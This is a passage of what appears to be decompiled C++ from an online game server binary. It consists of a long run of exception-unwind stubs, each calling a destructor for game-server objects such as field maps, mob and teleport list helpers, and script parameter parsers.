ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1048)); } //----- (0061F7B2) -------------------------------------------------------- void __usercall _L199737(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061F7D0) -------------------------------------------------------- void __usercall _L200008(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (0061F7DB) -------------------------------------------------------- void __usercall _L200009(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061F7E6) -------------------------------------------------------- void __usercall _L200010(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F7F1) -------------------------------------------------------- void __usercall _L200011(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 544)); } //----- (0061F810) -------------------------------------------------------- void __usercall _L200101(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (0061F81B) -------------------------------------------------------- void __usercall _L200102(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061F826) -------------------------------------------------------- void __usercall _L200103(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F840) -------------------------------------------------------- void __usercall _L200237(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061F84B) -------------------------------------------------------- void __usercall _L200238(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F856) -------------------------------------------------------- void __usercall _L200239(int a1) { AxialListKQEnd::_AxialListKQEnd((AxialListKQEnd *)(a1 - 288)); } //----- (0061F861) -------------------------------------------------------- void __usercall _L200240(int a1) { AxialListKQEnd::_AxialListKQEnd((AxialListKQEnd *)(a1 - 288)); } //----- (0061F880) -------------------------------------------------------- void __usercall _L200332(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (0061F88B) -------------------------------------------------------- void __usercall _L200333(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F896) -------------------------------------------------------- void __usercall _L200334(int a1) { AxialListKQReward::_AxialListKQReward((AxialListKQReward *)(a1 - 284)); } //----- (0061F8A1) -------------------------------------------------------- void __usercall _L200335(int a1) { AxialListMIDReward::_AxialListMIDReward((AxialListMIDReward *)(a1 - 296)); } //----- (0061F8C0) -------------------------------------------------------- void __usercall _L200459(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (0061F8CB) -------------------------------------------------------- void __usercall _L200460(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F8D6) -------------------------------------------------------- void __usercall _L200461(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061F8E1) -------------------------------------------------------- void __usercall _L200462(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 540)); } //----- (0061F900) -------------------------------------------------------- void __usercall _L200577(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1404)); } //----- (0061F90B) -------------------------------------------------------- void __usercall _L200578(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1296)); } //----- (0061F916) -------------------------------------------------------- void __usercall _L200579(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1040)); } //----- (0061F921) -------------------------------------------------------- void __usercall _L200580(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (0061F92C) -------------------------------------------------------- void __usercall _L200581(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061F937) -------------------------------------------------------- void __usercall _L200582_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F942) -------------------------------------------------------- void __usercall _L200583(int a1) { AxialListLinkTo::_AxialListLinkTo((AxialListLinkTo *)(a1 - 1412)); } //----- (0061F94D) -------------------------------------------------------- void __usercall _L200584(int a1) { AxialListLinkToByObserver::_AxialListLinkToByObserver((AxialListLinkToByObserver *)(a1 - 1412)); } //----- (0061F970) -------------------------------------------------------- void __usercall _L200724(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 520)); } //----- (0061F97B) -------------------------------------------------------- void __usercall _L200725_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F990) -------------------------------------------------------- void __usercall _L200985(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061F99B) -------------------------------------------------------- void __usercall _L200986_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F9A6) -------------------------------------------------------- void __usercall _L200987(int a1) { AxialListItemErase4All::_AxialListItemErase4All((AxialListItemErase4All *)(a1 - 284)); } //----- (0061F9C0) -------------------------------------------------------- void __usercall _L201189(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 296)); } //----- (0061F9CB) -------------------------------------------------------- void __usercall _L201190(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061F9D6) -------------------------------------------------------- void __usercall _L201191(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 292)); } //----- (0061F9F0) -------------------------------------------------------- void __usercall _L201329(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (0061F9FB) -------------------------------------------------------- void __usercall _L201330(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (0061FA06) -------------------------------------------------------- void __usercall _L201331(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061FA11) -------------------------------------------------------- void __usercall _L201332(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061FA1C) -------------------------------------------------------- void __usercall _L201333(int a1) { AxialListMobFind::_AxialListMobFind((AxialListMobFind *)(a1 - 816)); } //----- (0061FA40) -------------------------------------------------------- void __usercall _L201461(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 580)); } //----- (0061FA4B) -------------------------------------------------------- void __usercall _L201462(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061FA56) -------------------------------------------------------- void __usercall _L201463(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FA61) -------------------------------------------------------- void __usercall _L201464(int a1) { AxialListPlayerStateSet::_AxialListPlayerStateSet((AxialListPlayerStateSet *)(a1 - 576)); } //----- (0061FA6C) -------------------------------------------------------- void __usercall _L201465(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 576)); } //----- (0061FA77) -------------------------------------------------------- void __usercall _L201466(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 552)); } //----- (0061FA90) -------------------------------------------------------- void __usercall _L201620(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061FA9B) -------------------------------------------------------- void __usercall _L201621(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FAA6) -------------------------------------------------------- void __usercall _L201622(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 300)); } //----- (0061FAB1) -------------------------------------------------------- void __usercall _L201623_0(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 300)); } //----- (0061FAD0) -------------------------------------------------------- void __usercall _L201714(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061FAD8) -------------------------------------------------------- void __usercall _L201715(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061FAF0) -------------------------------------------------------- void __usercall _L201804_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (0061FAFB) -------------------------------------------------------- void __usercall _L201805(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (0061FB06) -------------------------------------------------------- void __usercall _L201806(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061FB11) -------------------------------------------------------- void __usercall _L201807(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (0061FB1C) -------------------------------------------------------- void __usercall _L201808(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061FB27) -------------------------------------------------------- void __usercall _L201809(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (0061FB32) -------------------------------------------------------- void __usercall _L201810(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 804)); } //----- (0061FB50) -------------------------------------------------------- void __usercall _L202101(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 292)); } //----- (0061FB5B) -------------------------------------------------------- void __usercall _L202102(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FB66) -------------------------------------------------------- void __usercall _L202103(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 288)); } //----- (0061FB80) -------------------------------------------------------- void __usercall _L205870(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061FB8B) -------------------------------------------------------- void __usercall _L205871(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FB96) -------------------------------------------------------- void __usercall _L205872(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 288)); } //----- (0061FBB0) -------------------------------------------------------- void __usercall _L202304(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 332)); } //----- (0061FBBB) -------------------------------------------------------- void __usercall _L202305(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 304)); } //----- (0061FBD0) -------------------------------------------------------- void __usercall _L202488(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 344)); } //----- (0061FBDB) -------------------------------------------------------- void __usercall _L202489(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FBF0) -------------------------------------------------------- void __usercall _L203170(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 300)); } //----- (0061FBFB) -------------------------------------------------------- void __usercall _L203171(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FC06) -------------------------------------------------------- void __usercall _L203172(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 308)); } //----- (0061FC11) -------------------------------------------------------- void __usercall _L203173(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 296)); } //----- (0061FC1C) -------------------------------------------------------- void __usercall _L203174(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 284)); } //----- (0061FC40) -------------------------------------------------------- void __usercall _L203359(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061FC4B) -------------------------------------------------------- void __usercall _L203360(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FC56) -------------------------------------------------------- void __usercall _L203361(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 288)); } //----- (0061FC61) -------------------------------------------------------- void __usercall _L203362(int a1) { AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)(a1 - 288)); } //----- (0061FC80) -------------------------------------------------------- void __usercall _L203833(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 328)); } //----- (0061FC8B) -------------------------------------------------------- void __usercall _L203834(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FC96) -------------------------------------------------------- void __usercall _L203835(int a1) { AxialListTeleportAnywhere::_AxialListTeleportAnywhere((AxialListTeleportAnywhere *)(a1 - 340)); } //----- (0061FCA1) -------------------------------------------------------- void __usercall _L203836(int a1) { AxialListCount2::_AxialListCount2((AxialListCount2 *)(a1 - 324)); } //----- (0061FCAC) -------------------------------------------------------- void __usercall _L203837(int a1) { AxialListTeleportSplit::_AxialListTeleportSplit((AxialListTeleportSplit *)(a1 - 292)); } //----- (0061FCB7) -------------------------------------------------------- void __usercall _L203838(int a1) { AxialListTeleport::_AxialListTeleport((AxialListTeleport *)(a1 - 340)); } //----- (0061FCD0) -------------------------------------------------------- void __usercall _L204123(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (0061FCDB) -------------------------------------------------------- void __usercall _L204124(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061FCE6) -------------------------------------------------------- void __usercall _L204125(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FCF1) -------------------------------------------------------- void __usercall _L204126(int a1) { AxialListFindItemOwner::_AxialListFindItemOwner((AxialListFindItemOwner *)(a1 - 548)); } //----- (0061FD10) -------------------------------------------------------- void __usercall _L204255(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 2324)); } //----- (0061FD1B) -------------------------------------------------------- void __usercall _L204256(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2320)); } //----- (0061FD26) -------------------------------------------------------- void __usercall _L204257(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2064)); } //----- (0061FD31) -------------------------------------------------------- void __usercall _L204258(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1808), 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0061FD4A) -------------------------------------------------------- void __usercall _L204259(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 2336)); } //----- (0061FD60) -------------------------------------------------------- void __usercall _L204375(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 2096)); } //----- (0061FD6B) -------------------------------------------------------- void __usercall _L204376(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 2064)); } //----- (0061FD76) -------------------------------------------------------- void __usercall _L204377(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1808)); } //----- (0061FD81) -------------------------------------------------------- void __usercall _L204378(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1552)); } //----- (0061FD8C) -------------------------------------------------------- void __usercall _L204379(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 1296), 0x100u, 5, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0061FDA5) -------------------------------------------------------- void __usercall _L204380(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 2076)); } //----- (0061FDC0) -------------------------------------------------------- void __usercall _L204496(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (0061FDCB) -------------------------------------------------------- void __usercall _L204497(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061FDD6) -------------------------------------------------------- void __usercall _L204498(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (0061FDE1) -------------------------------------------------------- void __usercall _L204499(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061FE00) -------------------------------------------------------- void __usercall _L204703(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061FE20) -------------------------------------------------------- void __usercall _L204917(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 288)); } //----- (0061FE2B) -------------------------------------------------------- void __usercall _L204918(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FE40) -------------------------------------------------------- void __usercall _L205003(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (0061FE4B) -------------------------------------------------------- void __usercall _L205004(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FE60) -------------------------------------------------------- void __usercall _L205082(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061FE6B) -------------------------------------------------------- void __usercall _L205083(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FE76) -------------------------------------------------------- void __usercall _L205084(int a1) { AxialListGTEnd::_AxialListGTEnd((AxialListGTEnd *)(a1 - 296)); } //----- (0061FE81) -------------------------------------------------------- void __usercall _L205085(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 296)); } //----- (0061FE8C) -------------------------------------------------------- void __usercall _L205086(int a1) { AxialListGTEnd::_AxialListGTEnd((AxialListGTEnd *)(a1 - 312)); } //----- (0061FEB0) -------------------------------------------------------- void __usercall _L205348(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 552)); } //----- (0061FEBB) -------------------------------------------------------- void __usercall _L205349(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061FEC6) -------------------------------------------------------- void __usercall _L205350(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061FEE0) -------------------------------------------------------- void __usercall _L205828(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0061FF00) -------------------------------------------------------- void __usercall _L206021(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061FF0B) -------------------------------------------------------- void __usercall _L206022(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FF20) -------------------------------------------------------- void __usercall _L206108(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 816)); } //----- (0061FF2B) -------------------------------------------------------- void __usercall _L206109(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061FF36) -------------------------------------------------------- void __usercall _L206110(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061FF41) -------------------------------------------------------- void __usercall _L206111(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 792)); } //----- (0061FF4C) -------------------------------------------------------- void __usercall _L206112(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 804)); } //----- (0061FF70) -------------------------------------------------------- void __usercall _L206232(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (0061FF7B) -------------------------------------------------------- void __usercall _L206233(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (0061FF86) -------------------------------------------------------- void __usercall _L206234(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 536)); } //----- (0061FFA0) -------------------------------------------------------- void __usercall _L206331(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (0061FFAB) -------------------------------------------------------- void __usercall _L206332(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061FFB6) -------------------------------------------------------- void __usercall _L206333(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FFD0) -------------------------------------------------------- void __usercall _L207484(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 916)); } //----- (0061FFDB) -------------------------------------------------------- void __usercall _L207485(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0061FFE6) -------------------------------------------------------- void __usercall _L207486(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 528)); } //----- (0061FFF1) -------------------------------------------------------- void __usercall _L207487(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 784)); } //----- (0061FFFC) -------------------------------------------------------- void __usercall _L207488(int a1) { AxialListObjectCollector::_AxialListObjectCollector((AxialListObjectCollector *)(a1 - 904)); } //----- (00620020) -------------------------------------------------------- void __usercall _L207942_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00620040) -------------------------------------------------------- void __usercall _L208117(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00620048) -------------------------------------------------------- void __usercall _L208132(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00620060) -------------------------------------------------------- void __usercall _L208207(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1260)); } //----- (0062006B) -------------------------------------------------------- void __usercall _L208208(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 952)); } //----- (00620076) -------------------------------------------------------- void __usercall _L208209(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 1208)); } //----- (00620081) -------------------------------------------------------- void __usercall _L208210(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (0062008C) -------------------------------------------------------- void __usercall _L208211(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (006200B0) -------------------------------------------------------- void __usercall _L208416(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 764)); } //----- (006200BB) -------------------------------------------------------- void __usercall _L208417(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 760)); } //----- (006200C6) -------------------------------------------------------- void __usercall _L208418(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 280)); } //----- (006200E0) -------------------------------------------------------- void __usercall _L208668(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 728)); } //----- (006200EB) -------------------------------------------------------- void __usercall _L208669(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (006200F6) -------------------------------------------------------- void __usercall _L208670(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (00620110) -------------------------------------------------------- void __usercall _L208880(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 712)); } //----- (0062011B) -------------------------------------------------------- void __usercall _L208881(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (00620126) -------------------------------------------------------- void __usercall _L208882(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (00620140) -------------------------------------------------------- void __usercall _L209094(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 284)); } //----- (0062014B) -------------------------------------------------------- void __usercall _L209095(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (00620160) -------------------------------------------------------- void __usercall _L209219(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 752)); } //----- (0062016B) -------------------------------------------------------- void __usercall _L209220(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 736)); } //----- (00620176) -------------------------------------------------------- void __usercall _L209221(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (00620190) -------------------------------------------------------- void __usercall _L209736(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 796)); } //----- (0062019B) -------------------------------------------------------- void __usercall _L209737(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 736)); } //----- (006201A6) -------------------------------------------------------- void __usercall _L209738(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 792)); } //----- (006201B1) -------------------------------------------------------- void __usercall _L209739(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 764)); } //----- (006201BC) -------------------------------------------------------- void __usercall _L209740(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (006201E0) -------------------------------------------------------- void __usercall _L210305(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 476)); } //----- (006201EB) -------------------------------------------------------- void __usercall _L210306(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 312)); } //----- (006201F6) -------------------------------------------------------- void __usercall _L210307(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 444)); } //----- (00620201) -------------------------------------------------------- void __usercall _L210308(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 472)); } //----- (00620220) -------------------------------------------------------- void __usercall _L212363(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 756)); } //----- (0062022B) -------------------------------------------------------- void __usercall _L212364(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (00620236) -------------------------------------------------------- void __usercall _L212365(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 752)); } //----- (00620241) -------------------------------------------------------- void __usercall _L212366(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 724)); } //----- (0062024C) -------------------------------------------------------- void __usercall _L212367(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (00620270) -------------------------------------------------------- void __usercall _L212516(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 736)); } //----- (0062027B) -------------------------------------------------------- void __usercall _L212517(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 696)); } //----- (00620286) -------------------------------------------------------- void __usercall _L212518(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 724)); } //----- (00620291) -------------------------------------------------------- void __usercall _L212519(int a1) { FieldMap::_FieldMap(a1 - 440); } //----- (006202B0) -------------------------------------------------------- void __usercall _L212666(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 344)); } //----- (006202BB) -------------------------------------------------------- void __usercall _L212667(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 340)); } //----- (006202C6) -------------------------------------------------------- void __usercall _L212668(int a1) { PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser((PineEventScriptNode::ScriptParameterPaser *)(a1 - 312)); } //----- (006202E0) -------------------------------------------------------- 